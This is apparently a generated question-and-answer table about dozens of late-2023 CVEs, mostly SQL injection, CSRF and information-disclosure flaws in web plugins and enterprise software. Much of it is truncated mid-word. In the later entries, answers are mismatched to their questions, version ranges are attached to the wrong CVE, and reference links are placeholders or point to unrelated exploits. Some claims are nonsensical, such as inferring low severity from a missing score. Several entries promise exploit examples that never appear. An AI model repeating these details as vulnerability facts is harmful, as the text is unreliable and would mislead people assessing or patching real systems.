

Question	Answer
----------	--------

What is the The CVE ID for this vulnerability is CVE-2023-48395.

Can you de CVE-2023-48395 is a vulnerability in the Kaifa Technology WebITR, which is an online atten

What privil To exploit CVE-2023-48395, an attacker requires regular user privilege. This implies that ev

What is the If an attacker successfully exploits CVE-2023-48395, they could perform unauthorized data

When was CVE-2023-48395 was published on 15 December 2023.

Are there a Yes, additional information about CVE-2023-48395 can be found at the following link: http:

What kind To mitigate CVE-2023-48395, the system's developers should implement robust input valid

Can you ex Sure, although details about the specific vulnerable function are not provided, a general e

What are t A possible attack scenario for CVE-2023-48395 might involve an attacker who has acquirec

What is CV CVE-2023-48384 refers to a security vulnerability found in ArmorX Global Technology Corp

What type CVE-2023-48384 is classified as an SQL injection vulnerability. This is because it allows an a

What cons Exploiting CVE-2023-48384 can lead to unauthorized access to the database, which may re

As of its pu As of its publication on 15 December 2023, a specific Base Score for CVE-2023-48384 has n

Where can Additional information about CVE-2023-48384 can be found on the official website of Taiw

Could you | Certainly, an example of a code segment vulnerable to SQL injection, similar to the issue de

What attac Possible attack scenarios due to CVE-2023-48384 include an attacker conducting an unauth

What is CV CVE-2023-48372 is a security vulnerability identified in the ITPison OMICARD EDM's SMS-r

When was CVE-2023-48372 was published on 15 December 2023.

What type CVE-2023-48372 is a SQL Injection vulnerability, allowing for manipulation of the backend

Has a base No, as of the information provided, a base score has not been assigned to CVE-2023-48372

Where can More information about CVE-2023-48372 can be found through the reference link provide

Could you | A potential attack scenario for CVE-2023-48372 could involve an attacker sending a crafted

What mea: To mitigate CVE-2023-48372, the software provider should release a patch that addresses

Can you gi While providing an actual exploit code for CVE-2023-48372 would be inappropriate and un

What is CV CVE-2023-47261 is a security vulnerability found in Dokmee ECM 7.4.6 that allows remote

How can C An attacker can exploit CVE-2023-47261 by intercepting the response from the 'GettingSta

What versi CVE-2023-47261 specifically affects version 7.4.6 of Dokmee ECM. Users with this version :

When was The CVE-2023-47261 was published on 14 December 2023.

What is the The base score for CVE-2023-47261 has not been provided in the available information. It i

Where can More information and updates about CVE-2023-47261 can be found on the published referen

Can you de A possible attack scenario for CVE-2023-47261 might involve an attacker sending a crafted

Is there a c While specific code examples demonstrating CVE-2023-47261 exploitation aren't provided,

What is CV CVE-2023-44284 is a security vulnerability identified in Dell PowerProtect DD, a data prote

Which Dell The Dell PowerProtect DD versions affected by CVE-2023-44284 are all versions prior to 7.1

How can C CVE-2023-44284 can be exploited by a remote attacker with low privileged access. The attac

What type CVE-2023-44284 is an SQL Injection vulnerability.

What is the The impact of CVE-2023-44284 on Dell PowerProtect DD includes potential execution of ur

When was CVE-2023-44284 was published on 14 December 2023.

Where can More information and updates about CVE-2023-44284 can be found in the Dell Support kn

Can you pr In a possible attack scenario for CVE-2023-44284, an attacker with access to the network c

What is CV CVE-2023-49934 refers to a security issue that was discovered in SchedMD Slurm, specifica

How sever The base score for CVE-2023-49934 is not available, as it appears the severity has not been

Has CVE-2023-49934 Yes, SchedMD has addressed the vulnerability in CVE-2023-49934. The issue was fixed in v

Where can More information regarding CVE-2023-49934 can be found by visiting the provided links, v
What is the The public disclosure date for CVE-2023-49934 is 14 December 2023.

What are s For CVE-2023-49934, an attacker could exploit the SQL Injection vulnerability to perform v.
Are there e As CVE-2023-49934 pertains to SQL Injection, the exploit might involve manipulating SQL c
What is the The CVE ID for the vulnerability related to improper access control is CVE-2023-47536.

Can you de CVE-2023-47536 refers to an improper access control vulnerability in specific versions of F
Which vers The versions of FortiOS impacted by CVE-2023-47536 include version 7.2.0, version 7.0.13
Which vers CVE-2023-47536 affects FortiProxy version 7.2.3 and below, version 7.0.9 and below, and v
What is the The CWE (Common Weakness Enumeration) category associated with CVE-2023-47536 is C
Are there e Yes, further details on CVE-2023-47536 can be found at the following URL: <https://fortigu>

What is the The vulnerability described by CVE-2023-47536 was published on 13 December 2023.

What base As of the last update, there is no Base Score provided for CVE-2023-47536.

Could you r Potential attack scenarios of CVE-2023-47536 involve a remote, unauthenticated attacker.
Has there t No specific code example detailing the vulnerability has been provided for CVE-2023-4753

What is CV CVE-2023-45725 refers to a vulnerability where design document functions in a database s

Which desi The design document functions affected by CVE-2023-45725 are the list, show, rewrite, an

How can a An attacker can exploit CVE-2023-45725 by first inserting malicious design documents into

Is there a k Yes, a known workaround for CVE-2023-45725 is to avoid using design documents from un

When was CVE-2023-45725 was published on 13 December 2023.

Can you pr Imagine a scenario where a database contains design documents that output user session

Where can More information about CVE-2023-45725 can be found at the Apache CouchDB documenta

What is CV CVE-2023-50263 refers to a security vulnerability found in Nautobot, a network automatio

In which v e CVE-2023-50263 has been addressed in Nautobot versions 1.6.7 and 2.0.6. Users are advis

What does CVE-2023-50263 allows attackers to potentially access and download files that have been i

What are t The consequence of CVE-2023-50263 could be unauthorized access and leakage of sensitiv

Are there e There are no known workarounds for CVE-2023-50263. The only recommended mitigation

Can you pr An attacker could exploit CVE-2023-50263 by directly navigating to the affected URLs `/files

Where can More information and patches related to CVE-2023-50263 can be found on the official Nau

What is CV CVE-2023-48225 refers to a security vulnerability in Laf, which is a cloud development plat

How does r CVE-2023-48225 can lead to information leakage due to the improper handling of environm

What are t Potential attack scenarios for CVE-2023-48225 include an attacker exploiting the vulnerabi

Are there e As of the published date of December 12, 2023, it is unclear whether any patches or workar

Where can For more information on CVE-2023-48225, one can visit the GitHub repository links provid

What is CV CVE-2023-49581 refers to a security vulnerability that affects SAP GUI for Windows and SA

When was CVE-2023-49581 was published on 12 December 2023.

Are there e Yes, official references for CVE-2023-49581 can be found at the following URLs: <https://me>

What is the The impact of CVE-2023-49581 on affected systems includes unauthorized access to restric

Is there a E No, as of the information provided, there is no Base Score available for CVE-2023-49581.

Can you pr While specific code examples cannot be provided without more detailed information abou

What is CV CVE-2023-42476 refers to a security vulnerability found in SAP Business Objects Web Intell

When was CVE-2023-42476 was published on 12 December 2023.

What coul By successfully exploiting CVE-2023-42476, an attacker could inject JavaScript code into SA

Are there e Yes, there are official references provided for CVE-2023-42476, which include SAP security

Is there a C As of the information provided, there is no Base Score assigned to CVE-2023-42476.

What are the steps to exploit CVE-2023-42476? To exploit CVE-2023-42476, the attacker must be authenticated, which implies that they need to log in to the system. An attack scenario for CVE-2023-42476 might involve an authenticated attacker crafting a malicious request to the REST API endpoint.

What is CVE-2023-36652? CVE-2023-36652 refers to a security vulnerability identified in ProLion CryptoSpike version 1.0. It is a SQL injection vulnerability.

How does it work? The vulnerability CVE-2023-36652 manifests itself through the users searching REST API endpoints for specific data. The impact of CVE-2023-36652 can be quite severe as it could allow an attacker with authentication to read sensitive information from the database.

How can it be mitigated? To mitigate CVE-2023-36652, it is important to apply any provided patches or updates from the vendor. When was CVE-2023-36652 published? CVE-2023-36652 was published on 12 December 2023.

Are there any known attack scenarios? Yes, more information about CVE-2023-36652 can be found at the provided reference link: [https://www.cvedetails.com/cve/5869/](#).

What is the base score for CVE-2023-36652? The base score for CVE-2023-36652 has not been assigned or is not available (N/A).

What is CVE-2023-5869? CVE-2023-5869 refers to a security flaw found in PostgreSQL where authenticated databases can be bypassed.

When was CVE-2023-5869 published? CVE-2023-5869 was published on 10 December 2023.

How can it be exploited? CVE-2023-5869 can be exploited by an authenticated user who sends specially crafted data to the database.

What kind of attack scenario is involved? CVE-2023-5869 requires the attacker to be an authenticated user in the PostgreSQL database.

Are there any references available? Yes, there are several references available for addressing CVE-2023-5869, including Red Hat's security advisory.

Can you provide an example of an attack scenario for CVE-2023-5869? An example of an attack scenario for CVE-2023-5869 is where an authenticated attacker performs a SQL injection.

What is CVE-2023-50430? CVE-2023-50430 refers to a security vulnerability found in the Goodix Fingerprint Device driver.

How does it work? CVE-2023-50430 allows an attacker to bypass Windows Hello authentication by enrolling their own fingerprints.

What systems are affected? Systems affected by CVE-2023-50430 are Dell Inspiron 15 computers that ship with the Goodix driver.

When was CVE-2023-50430 published? CVE-2023-50430 was published on 09 December 2023.

Are there any further details? Yes, further information on CVE-2023-50430 can be found in an article published by BlackYard Security.

Has a base score been assigned? No base score has been assigned to CVE-2023-50430 at the time the information was made available.

What are the attack scenarios? For CVE-2023-50430, a possible attack scenario involves an attacker with physical access to the device.

What is CVE-2023-43743? CVE-2023-43743 refers to a SQL injection vulnerability found in several Zultys products, namely MX-SE, MX-SE II, MX-E, MX-Virtua, and MX-Virtua II.

What is the severity or base score? The severity or base score for CVE-2023-43743 has not been provided in the given information.

When was CVE-2023-43743 published? CVE-2023-43743 was published on December 8, 2023.

Which Zultys products are affected? The Zultys products affected by CVE-2023-43743 include MX-SE, MX-SE II, MX-E, MX-Virtua, and MX-Virtua II.

What versions are affected? CVE-2023-43743 affects Zultys products with firmware versions before 17.0.10 patch 1716.

How can it be exploited? CVE-2023-43743 can be exploited by an authenticated attacker who sends specially crafted SQL queries.

Where can more information be found? More information on CVE-2023-43743 can be found on the GitHub page of Atredis Partner.

What is the mitigation? To mitigate CVE-2023-43743, it is suggested that affected Zultys product users upgrade the firmware.

Could you provide an example? While specific code examples are not provided, a hypothetical exploit scenario for CVE-2023-43743 is as follows:

What is CVE-2023-5008? CVE-2023-5008 refers to a security vulnerability that affects Student Information System v1.4.0 to 1.4.6.1.

What kind of vulnerability is it? CVE-2023-5008 is classified as an unauthenticated SQL Injection vulnerability. This means it can be exploited without needing to be authenticated.

How severe is it? The Base Score of CVE-2023-5008 has not been assigned in the provided information, hence it is considered low severity.

What does it allow an attacker to do? CVE-2023-5008 allows an attacker to perform SQL injection attacks. This means the attacker can extract sensitive data or modify the database.

When was CVE-2023-5008 published? CVE-2023-5008 was published on 08 December 2023.

Can you provide more information? Yes, more information about CVE-2023-5008 can be found at the following URLs: [https://www.cvedetails.com/cve/5008/](#) and [https://www.exploit-db.com/wp-content/themes/exploit/exploits/10477-wordpress-burst-statistics-plugin-sql-injection-exploit.pdf](#).

What are the attack scenarios? For CVE-2023-5008, a possible attack scenario would involve an attacker sending a malicious URL or query string to trigger the SQL injection.

Could you provide an example? Although it's not ethical to provide exploitative code, a hypothetical example of an SQL injection exploit for CVE-2023-5008 would be:

What is the CVE ID? The CVE ID for the SQL Injection vulnerability in the Burst Statistics plugin for WordPress is CVE-2023-5761.

Which versions are affected? The affected versions of the Burst Statistics plugin for WordPress are 1.4.0 to 1.4.6.1 for the 'url' parameter.

What kind of vulnerability is it? CVE-2023-5761 describes a SQL Injection vulnerability that is triggered via the 'url' parameter.

Can you provide an example? A possible attack scenario for CVE-2023-5761 involves an unauthenticated attacker manipulating the URL parameter to execute SQL commands.

When was CVE-2023-5761 published? CVE-2023-5761 was published on 07 December 2023.

Where can More information about CVE-2023-5761 and potentially a patch can be found on the Word
What is CV CVE-2023-5710 is a security vulnerability found in the System Dashboard plugin for WordP
Which vers CVE-2023-5710 affects all versions of the System Dashboard plugin for WordPress up to an
How can C' CVE-2023-5710 can be exploited by an authenticated attacker with subscriber-level access
What speci Due to CVE-2023-5710, sensitive data such as database credentials stored within the Syste
What mea To mitigate the risk of CVE-2023-5710, users of the affected System Dashboard plugin for \
Where can More information about CVE-2023-5710 can be found through the following references:- T
When was CVE-2023-5710 was published on 07 December 2023.

What is the The CVE ID of the Jellyfin media system vulnerability is CVE-2023-49096.

What versi CVE-2023-49096 affects versions of Jellyfin prior to 10.8.13.

Which end The vulnerable endpoints in the CVE-2023-49096 Jellyfin vulnerability include the `/Videos

Can CVE-2(No, CVE-2023-49096 can be exploited by an unauthenticated user; however, the attacker v

How is the CVE-2023-49096 is introduced as an argument injection vulnerability in the VideosControll

What type CVE-2023-49096 is associated with an argument injection, a type of security issue which cc

Has Jellyfir Yes, Jellyfin has released version 10.8.13 to address CVE-2023-49096, and users are advise

What are t The argument injection vulnerability in CVE-2023-49096 could potentially allow an attack

Are there k There are no known workarounds for CVE-2023-49096; the recommended action is to upg

Could you | While specific code examples for CVE-2023-49096 may vary and depend on several factors

What migh An attack scenario exploiting CVE-2023-49096 could involve an unauthenticated attacker s

What is CV CVE-2023-48863 refers to a security vulnerability found in SEMCMS version 3.9. It describe

What type CVE-2023-48863 is a SQL Injection vulnerability.

How can C' CVE-2023-48863 can be exploited by an attacker by sending specially crafted inputs that in

On which c CVE-2023-48863 was published on 04 December 2023.

Are there a Yes, there are references available for CVE-2023-48863 which include the SEMCMS official

Can you pr In a potential attack scenario for CVE-2023-48863, an attacker might craft a URL or a data p

What can k To mitigate CVE-2023-48863, the application should be updated with patches provided by

What is CV CVE-2023-6375 is a security vulnerability found in Tyler Technologies Court Case Managem

On which c CVE-2023-6375 was published on 30 November 2023.

What kind Due to CVE-2023-6375, sensitive information such as database credentials might be compr

What is the As of the current information available, there is no Base Score provided for CVE-2023-6375

Could you | Certainly, for more details on CVE-2023-6375, you can refer to the following sources: - GitHub

Can you de In a potential attack scenario exploiting CVE-2023-6375, an attacker would scan the intern

Are there a As CVE-2023-6375 pertains to the improper storage of backup files, a direct code example i

What is CV CVE-2023-29065 is a security vulnerability identified in the FACSChorus software. The vuln

How can C' A threat actor with physical access to the system where FACSChorus software is installed c

What sort (The impact of CVE-2023-29065 includes the risk of unauthorized data alteration or destruc

What is the The base score for CVE-2023-29065 has not been made available or assessed as stated in t

When was CVE-2023-29065 was published on 28 November 2023.

What refer More information about CVE-2023-29065 can be found at the provided reference link: <http://>

Are there a No specific code examples are provided for CVE-2023-29065 as it is a physical access vulne

Can you de One possible attack scenario for CVE-2023-29065 could involve an unauthorized individual

What is CV CVE-2023-42505 is a security vulnerability identified in Apache Superset versions before 3.

Which vers CVE-2023-42505 affects Apache Superset versions prior to 3.0.0.

What type Due to CVE-2023-42505, sensitive information such as the connection's username could be

Has CVE-2023-42505 As of the provided information, CVE-2023-42505 has not been assigned a Base Score.

When was CVE-2023-42505 published on 28 November 2023.

What is the severity of CVE-2023-42505? The severity of CVE-2023-42505 cannot be determined directly from the given information.

Where can More information about CVE-2023-42505 be found at the following URLs: <http://www>

What might An attacker looking to exploit CVE-2023-42505 would need to be an authenticated user with?

Could you | An attack scenario for CVE-2023-42505 could involve an authenticated user who normally

Are code e As CVE-2023-42505 is a recently discovered vulnerability and due to the nature of the issue,

What is CV CVE-2023-5559 refers to a security vulnerability in the 10Web Booster WordPress plugin w

What type CVE-2023-5559 is a vulnerability that allows unauthorized deletion of database options, w

Which Wo! The 10Web Booster WordPress plugin is affected by CVE-2023-5559.

What are t To exploit CVE-2023-5559, an attacker does not need to authenticate. The vulnerability allows

How can ai An attacker can exploit CVE-2023-5559 by sending crafted AJAX requests to the affected 10

Has CVE-2023-5559 As of the information available, CVE-2023-5559 has not been assigned a CVSS base score.

What is a p A possible mitigation for CVE-2023-5559 would be to update the 10Web Booster WordPre

On what d: CVE-2023-5559 was published on 27 November 2023.

Where can More information regarding CVE-2023-5559 can be found at the reference URL provided, v

What is a p A potential attack scenario for exploiting CVE-2023-5559 could involve an attacker identify

What is CV CVE-2023-40610 refers to a vulnerability in Apache Superset which involves an improper a

How could An attacker could exploit CVE-2023-40610 by crafting a malicious CTE SQL statement that s

What step: To mitigate CVE-2023-40610, administrators should update their installations of Apache Sup

Was there At the time of the publication of CVE-2023-40610, no base score was provided for the vuln

Where can More information about CVE-2023-40610 can be found on the Openwall mailing list at <http://www>

What is the CVE-2023-40610 was published on the 27th of November, 2023. It is important for organiz

What is the The CVE ID of the vulnerability found in CodeIgniter Shield is CVE-2023-48707.

What comp CodeIgniter Shield, which is an authentication and authorization provider for CodeIgniter 4

In what for The `secretKey` value was stored in the database in cleartext form according to CVE-2023-48707.

What coul If an attacker gained access to the `secretKey` due to the CVE-2023-48707 vulnerability, th

How has t! The issue described in CVE-2023-48707 has been addressed in version 1.0.0-beta.8 of Code

What versi The affected versions of CodeIgniter Shield are those prior to 1.0.0-beta.8, as the issue has

Are there a There are no known workarounds for the CVE-2023-48707 vulnerability. Users are advised

Can you pr CVE-2023-48707 was publicly disclosed on 24 November 2023.

Where can More information and the patch related to CVE-2023-48707 can be found at the following

What are s Possible attack scenarios for CVE-2023-48707 include a situation where an attacker gains r

What is the The vulnerability found in Apache DolphinScheduler is identified by the CVE ID CVE-2023-48796.

What kind The vulnerability reported in CVE-2023-48796 is an 'Exposure of Sensitive Information to a

Which vers CVE-2023-48796 affects Apache DolphinScheduler from version 3.0.0 up to but not includin

How can u: Users who cannot upgrade to the patched version can mitigate the issue by setting an envi

What is the The recommended solution to address CVE-2023-48796 is to upgrade Apache DolphinSche

When was The vulnerability CVE-2023-48796 was published on 24 November 2023.

Where can More information about CVE-2023-48796 can be found at the following URLs: <http://www>

What are s Potential attack scenarios for CVE-2023-48796 could involve an unauthorized actor gaining

What is CV CVE-2023-41790 refers to a security vulnerability identified in Pandora FMS (Flexible Moni

What type CVE-2023-41790 is categorized as an Uncontrolled Search Path Element vulnerability. This

Which vers CVE-2023-41790 affects Pandora FMS versions from 700 to 773. Users of these versions ar

What is the Exploiting CVE-2023-41790 can lead to unauthorized access to the server configuration file
How was CVE-2023-41790 was disclosed to the public on 23 November 2023. The information about
Where can More information about CVE-2023-41790 can be found on the official Pandora FMS website
Can you give specific code examples for CVE-2023-41790 exploitation are not provided, an attack
What should Users of Pandora FMS who are running versions 700 through 773 should immediately review
What type CVE-2023-41786 identifies an Exposure of Sensitive Information to an Unauthorized Actor
Which product is affected by CVE-2023-41786. The vulnerability is present in all
What is the impact of CVE-2023-41786 is that it allows users with low privileges to download data
As of its publication date on 23 November 2023, CVE-2023-41786 does not have an assigned CVSS score
Where can You can find more information or updates about CVE-2023-41786 on the official Pandora FMS website
Can you describe A potential attack scenario for CVE-2023-41786 could involve an attacker with low-level user permissions
Has the CV The information provided does not indicate whether CVE-2023-41786 has been fixed or if it is still present
What is CV CVE-2023-5466 is a security vulnerability found in the WP Anything Slider plugin for WordPress
What type CVE-2023-5466 is associated with an SQL Injection vulnerability in the WP Anything Slider plugin
Which versions up to and including 9.1 of the WP Anything Slider plugin for WordPress are affected
What permission To exploit CVE-2023-5466, an attacker needs to have subscriber-level or higher permission
Are there any references Yes, there are several references available for CVE-2023-5466, which include: 1. Trac browser extension 2. GitHub issue 3. WordPress plugin repository
What is the impact of CVE-2023-5466 on the affected WordPress plugin includes the possibility for an attacker to execute arbitrary SQL queries
Could you provide an example A code example resulting from the vulnerability CVE-2023-5466 might look like the following:
What are the possible attack scenarios For CVE-2023-5466, possible attack scenarios include an authenticated user with subscriber-level or higher permission
What is CV CVE-2023-5465 is a security vulnerability found in the Popup with fancybox plugin for WordPress
How can CVE-2023-5465 be exploited by authenticated attackers who have subscriber-level access
What permission To exploit CVE-2023-5465, an attacker needs to have at least subscriber-level permissions
What is the impact of CVE-2023-5465 on a WordPress site includes the potential for an attacker to execute arbitrary SQL queries
Has CVE-2023-5465 been fixed? Users can protect their WordPress site from CVE-2023-5465 by updating the Popup with fancybox plugin
Can you provide an example An example of a hypothetical attack using CVE-2023-5465 could involve an attacker with subscriber-level or higher permission
Where can More information about CVE-2023-5465 can be found on the following resources: the plugin repository and the Trac ticket
What is CV CVE-2023-2841 refers to an identified security vulnerability in the Advanced Local Pickup for WooCommerce plugin
How does CVE-2023-2841 affect WordPress sites that have the Advanced Local Pickup for WooCommerce plugin installed
What versions up to and including 1.5.5 of the Advanced Local Pickup for WooCommerce plugin are affected
What privileges are required To exploit CVE-2023-2841, an attacker must have admin-level privileges on the WordPress site
When was CVE-2023-2841 published on 22 November 2023.
Can you provide an example An example of how SQL Injection might occur with CVE-2023-2841 involves the manipulation of the Job Results table
What are the possible attack scenarios Possible attack scenarios for CVE-2023-2841 include an attacker with admin privileges logging in and modifying job results
Where can More information about CVE-2023-2841 can be found through the provided references within the Trac ticket
What is CV CVE-2023-48700 is a vulnerability in the Nautobot Device Onboarding plugin which uses the Job Results table
What versions up to and including 2.0.0 of the Nautobot Device Onboarding plugin are affected
How does CVE-2023-48700 lead to the exposure of credentials through Job Results when an Onboard job is run
What is the recommended mitigation The recommended mitigation for the CVE-2023-48700 issue is to upgrade the Nautobot Device Onboarding plugin to version 2.1.0 or later
Are there any workarounds No known workarounds for CVE-2023-48700 are reported. The best course of action is to upgrade the plugin
What could happen A potential attack scenario for CVE-2023-48700 could involve an attacker who has gained access to the Job Results table
What is CV CVE-2023-48293 is related to a cross-site request forgery (CSRF) vulnerability found in the XWiki Admin Tools Application
How can CVE-2023-48293 be exploited by an attacker embedding a malicious image syntax in a comment
What versions up to and including 4.5.1 of the XWiki Admin Tools Application are affected by the CSRF vulnerability

What are the consequences of the vulnerability CVE-2023-48293 include unauthorized modification of configuration files. How has it been mitigated? The vulnerability CVE-2023-48293 has been mitigated in XWiki Admin Tools Application version 4.5.1. Are there workarounds? Yes, besides updating to Admin Tools Application 4.5.1, workarounds include manually applying patches or using alternative tools.

Where can users find more details or a patch for CVE-2023-48293 in the GitHub security advisory?

When was the CVE-2023-48293 vulnerability published? The CVE-2023-48293 vulnerability was published on November 20, 2023.

What is the CVE-2023-38880 vulnerability? The CVE-2023-38880 identifies a broken access control vulnerability in OS4ED's openSIS Classic software.

Where is it located? Due to the vulnerability CVE-2023-38880, the backup file is stored in the web root directory.

What is the criticality? The backup file exposed by CVE-2023-38880 contains a dump of the entire openSIS database.

What kind of exploit? Exploiting CVE-2023-38880 would allow an attacker to perform an unauthorized data access.

Has a CVSS score been assigned? As of the information provided, CVE-2023-38880 does not have a base score assigned to it.

When was CVE-2023-38880 publicly disclosed? CVE-2023-38880 was publicly disclosed on November 20, 2023.

Where can you find additional information or potential updates regarding CVE-2023-38880 on its GitHub page?

What are the mitigation steps? The mitigation steps for CVE-2023-38880 include updating the openSIS Classic software to the latest version.

Can you provide an attack scenario? An attack scenario for CVE-2023-38880 could involve an attacker who knows the predictable password for a user account.

What is the CVSS score? CVE-2022-46337 describes a vulnerability where a specially crafted username can bypass login restrictions.

How can it be mitigated? To mitigate CVE-2022-46337, users should upgrade to Java 21 and Apache Derby version 1.

What are the potential consequences? Potential consequences of exploiting CVE-2022-46337 include an attacker being able to create accounts with administrative privileges.

When was CVE-2022-46337 published? CVE-2022-46337 was published on November 20, 2023.

Are there any known mitigations? For more information about CVE-2022-46337, you can refer to the Apache mailing list thread.

What does CVE-2023-46700 refer to? CVE-2023-46700 refers to an SQL injection vulnerability found in LuxCal Web Calendar version 2.0.1.

What type of vulnerability is it? CVE-2023-46700 affects both MySQL and SQLite databases, as it is present in LuxCal Web Calendar.

How serious is it? While the Base Score for CVE-2023-46700 is not provided, SQL injection vulnerabilities are considered high risk.

When was CVE-2023-46700 published? CVE-2023-46700 was published on the 20th of November, 2023.

Where can more information be found? More information about CVE-2023-46700 can be found at the following URLs: <https://jvn.jpn.org/jvnspecification/2023/11/20/1>.

Can you give an attack scenario? An attack scenario for CVE-2023-46700 may involve a remote unauthenticated attacker crafting malicious SQL queries.

What steps should be taken to mitigate it? To mitigate CVE-2023-46700, users should update their LuxCal Web Calendar to the latest version.

What is the CVSS score? CVE-2023-6105 refers to an information disclosure vulnerability that affects multiple ManageEngine products.

Which type of vulnerability is it? Due to CVE-2023-6105, encryption keys used by multiple ManageEngine products are exposed.

Can you provide specific code examples? Although I don't have access to specific code examples for exploiting this vulnerability, a general exploit for information disclosure vulnerabilities typically involves sending crafted requests to the affected service.

What is the potential impact? The vulnerability identified by CVE-2023-6105 could lead to sensitive information disclosure.

Has a CVSS score been assigned? As of the information provided, CVE-2023-6105 has not been assigned a CVSS Base Score.

Where can more details and potentially updates be found? More details and potentially updates about CVE-2023-6105 can be found in the security advisory.

What steps should organizations take? Upon learning about CVE-2023-6105, affected organizations should immediately check the affected systems for the vulnerability.

When was CVE-2023-6105 published? CVE-2023-6105 was published on November 15, 2023.

What is the CVSS score? CVE-2023-46601 refers to a security vulnerability identified in all versions of COMOS software.

When was CVE-2023-46601 published? CVE-2023-46601 was published on November 14, 2023.

How could an attacker exploit it? An attacker could exploit the vulnerability in CVE-2023-46601 by bypassing the expected authentication mechanism.

What are possible attack scenarios? Possible attack scenarios for CVE-2023-46601 include an attacker obtaining credentials for the affected system.

What mitigation steps are recommended? To mitigate CVE-2023-46601, it is recommended to follow the guidelines provided by the software vendor.

Where can more information be found? More information about CVE-2023-46601 can be found in the security advisory published by the vendor.

What is the base score? The base score of CVE-2023-46601 is not available. Base scores are typically provided as part of the CVSS score.

What is the CVSS score? CVE-2023-46097 is a security vulnerability identified in SIMATIC PCS neo, all versions prior to 1.0.

How could an attacker exploit it? To exploit CVE-2023-46097, an attacker would need to be authenticated and have network access to the affected system.

Was there any mitigation? Siemens addressed the vulnerability described by CVE-2023-46097 by releasing updates for the affected software.

On what date was CVE-2023-46097 published?

Where can Further details about CVE-2023-46097 be found in the official Siemens ProductCERT account?

What is the base score for CVE-2023-46097? Has it been made available or provided in the shared information?

Could you provide more information about CVE-2023-46097? As it is an SQL injection vulnerability, a hypothetical attack might involve an attacker crafting malicious SQL queries.

What are some possible attack scenarios for CVE-2023-46097? Possible attack scenarios include an attacker reading sensitive data from the database or modifying it.

What is CVE-2023-47609? It refers to a security vulnerability identified in the OSS Calendar software.

How severe is the severity of CVE-2023-47609? The severity is not specified by a 'Base Score' in the provided information.

When was CVE-2023-47609 published?

What version of OSS Calendar does CVE-2023-47609 affect? It affects OSS Calendar versions prior to version 2.0.3.

What are the possible attack scenarios for CVE-2023-47609? The possible attack scenarios include a remote authenticated attacker crafting malicious code.

Can you provide more information about CVE-2023-47609? Certainly, more information about CVE-2023-47609 can be found at the following URLs:

Can you give an example of a vulnerable code snippet for CVE-2023-47609? An example could be a section of code in the OSS Calendar application.

What is CVE-2023-6097? It refers to a SQL injection vulnerability discovered in ICS Business Manager.

Which application is affected by CVE-2023-6097? The application affected is ICS Business Manager, which is a business management application.

What type of vulnerability is CVE-2023-6097? It describes a SQL injection vulnerability.

What is the impact of CVE-2023-6097? The impact can be quite severe. It could allow a remote attacker to send malicious SQL queries to the database.

When was CVE-2023-6097 published?

Where can more information about CVE-2023-6097 be found? More information can be found at the following URL: <https://www.i>

Could you provide more details? An attack using CVE-2023-6097 could be performed by an attacker crafting a malicious SQL query.

Can you explain a possible attack scenario for CVE-2023-6097? A possible attack scenario involves an attacker who first conducts reconnaissance to identify vulnerable endpoints.

What is CVE-2023-47128? It refers to a vulnerability discovered in the Piccolo ORM and query builder.

Which software is affected by CVE-2023-47128? The software affected is Piccolo, which is an object-relational mapping library.

How could the vulnerability in CVE-2023-47128 be exploited? The vulnerability could be exploited if an attacker gains access to the application's database.

What action should be taken if an attacker successfully exploited CVE-2023-47128? If exploited, they could potentially read all data stored in the database.

What version of Piccolo ORM resolved the issue identified in CVE-2023-47128? The issue is resolved in version 1.1.1 of Piccolo ORM.

Where can more details and the patch related to CVE-2023-47128 be found? More details and the patch can be found on the official GitHub repository.

Can you provide an example of a potential attack scenario for CVE-2023-47128? An example might be a web application that uses the Piccolo ORM.

Is there a publicly available base score for CVE-2023-47128? As of the provided information, there is no publicly available base score for CVE-2023-47128.

When was CVE-2023-47128 published?

What is the CVE ID of the Cross-Site Request Forgery vulnerability?

Which plugin is affected? The Roland Barker, xnau webdesign Participants Database plugin.

Has a base score been assigned? As of the information provided, a base score for CVE-2023-31235 has not been assigned.

When was the vulnerability made public? The vulnerability with the ID CVE-2023-31235 was made public on 09 November 2023.

Where can more information about the CVE-2023-31235 vulnerability be found?

Can you describe a potential attack scenario for CVE-2023-31235? An attack scenario might involve an attacker crafting a malicious web page.

What is the security issue denoted by CVE-2023-31235? The security issue is a Cross-Site Request Forgery (CSRF) vulnerability.

Can you provide specific code examples for CVE-2023-31235? While specific code examples are not provided, a generic example of a CSRF exploit is shown below:

What is CVE-2023-46800? It is a vulnerability identifier for a security flaw found in Online Matrimonial Project.

In which software is CVE-2023-46800 found? It has been found in Online Matrimonial Project version 1.0.

What type of vulnerability is CVE-2023-46800? It refers to multiple Unauthenticated SQL Injection vulnerabilities.

How could an attacker exploit CVE-2023-46800? An attacker could exploit it by injecting malicious SQL code into the 'id' parameter.

Are there references available? Yes, for further information on CVE-2023-46800, references are available at the following links:

What was the publication date of CVE-2023-46800?

What is the base score for CVE-2023-46800? The base score is not available (N/A).

Can you pr Sure, a simple and hypothetical example of code that might be vulnerable to an SQL injecti
What coulc Exploiting CVE-2023-46800 could have several severe impacts on the affected system, incl
What is CV CVE-2023-46799 is a designation for a security vulnerability identified in Online Matrimoni
What is t The impact of the vulnerability described in CVE-2023-46799 is that attackers can exploit tl
When was CVE-2023-46799 was published on 07 November 2023.

What syste CVE-2023-46799 affects the Online Matrimonial Project version 1.0, which is a web applica
Could you | A code example for exploiting CVE-2023-46799 might look like the following HTTP request,
What refer Additional information about CVE-2023-46799 can be found in the advisories at the followi
What are t Possible attack scenarios for CVE-2023-46799 include an attacker exploiting the unfiltered
What is CV CVE-2023-46798 refers to a set of multiple Unauthenticated SQL Injection vulnerabilities fo
How does t CVE-2023-46798 affects the Online Matrimonial Project by allowing an attacker to perform
Has a publi As of my knowledge base, there is no specific mention of a public exploit being released fo
What are p Possible attack scenarios for CVE-2023-46798 include an attacker sending specially crafted
Can you pr Certainly. An example of a potential SQL injection attack for CVE-2023-46798 might look lik
When was CVE-2023-46798 was published on 07 November 2023. Users and administrators are advis
What is th The Base Score for CVE-2023-46798 has not been assigned or it was not available at the tin
What is CV CVE-2023-46797 refers to a security vulnerability found in Online Matrimonial Project vers
When was CVE-2023-46797 was published on 07 November 2023.

Has CVE-2023-46797 As of the current information available, CVE-2023-46797 has not been assigned a base sco
Are there a Yes, more information about CVE-2023-46797 can be found at the following URLs: <https://>
Can you pr An example of a SQL injection that could exploit CVE-2023-46797 might be entering the fol
What is a p An attacker could exploit CVE-2023-46797 by crafting a malicious SQL query that is then pa
What is CV CVE-2023-46796 refers to a security vulnerability found in Online Matrimonial Project v1.0
